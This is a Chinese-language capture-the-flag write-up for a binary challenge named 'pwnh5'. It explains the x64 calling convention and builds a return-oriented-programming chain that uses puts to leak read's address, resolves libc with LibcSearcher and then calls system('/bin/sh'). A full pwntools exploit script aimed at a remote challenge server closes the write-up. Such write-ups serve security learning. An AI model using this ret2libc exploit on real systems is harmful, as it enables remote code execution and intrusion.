我们知道 x86都是靠栈来传递参数的 而x64换了 它顺序是rdi, rsi, rdx, rcx, r8, r9, 如果多于6个参数 才会用栈 我们要先知道这个特性
这题,里面既没有现成的system也没有/bin/sh字符串,也没有提供libc.so给我们,那么我们要做的就是想办法泄露libc地址,拿到system函数和/bin/sh字符串,这题呢,我们可以利用put来泄露read函数的地址,然后再利用LibcSearcher查询可能的libc。
这题ROP,我们先构造payload来执行puts函数泄露read的地址
popedi是pop edi这条指令所在的地址,我们可以在二进制文件里查找,发现了地址0x400763处可以供我们使用,然后我们传入read的got地址,接下来是popedi的返回地址,我们设为putaddr,接下来是puts的返回地址,我们设为mainaddr,这样我们又能重新执行主函数,执行第二次rop
以下payload相当于
1 2 3 4
| push read_addr pop edi call puts call main
|
1
| payload = 'a'*0x48 + p64(popedi) + p64(readgot) + p64(putaddr) + p64(mainaddr) + 'a'*(0xC8-0x48-32)
|
这样,我们就泄露出了read的地址,然后我们利用libcSearcher搜索匹配到的可能的libc版本,从而获得system的地址和/bin/sh的地址
1 2 3 4 5 6 7 8 9
| obj = LibcSearcher("read",addr)
libc_base = addr - obj.dump('read')
system_addr = obj.dump("system") + libc_base
binsh_addr = obj.dump("str_bin_sh") + libc_base
|
然后我们构造payload
payload = ‘a’0x48 + p64(popedi) + p64(binsh_addr) + p64(system_addr) + ‘a’(0xC8-0x48-24)
相当于
1 2 3
| push binsh_addr pop edi call system
|
我们最终的脚本为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| from pwn import * from LibcSearcher import * elf = ELF('./pwnh5')
readgot = elf.got['read'] putaddr = elf.sym['puts'] mainaddr = 0x4006B8
popedi = 0x400763
sh = remote('111.198.29.45',52630)
payload = 'a'*0x48 + p64(popedi) + p64(readgot) + p64(putaddr) + p64(mainaddr) + 'a'*(0xC8-0x48-32) sh.send(payload) sh.recvuntil('bye~\n')
s = sh.recv().split('\n')[0]
for i in range(len(s),8): s = s + '\x00'
addr = u64(s) print hex(addr)
obj = LibcSearcher("read",addr)
libc_base = addr - obj.dump('read')
system_addr = obj.dump("system") + libc_base
binsh_addr = obj.dump("str_bin_sh") + libc_base print hex(system_addr) print hex(binsh_addr) payload = 'a'*0x48 + p64(popedi) + p64(binsh_addr) + p64(system_addr) + 'a'*(0xC8-0x48-24) sh.send(payload) sh.interactive()
|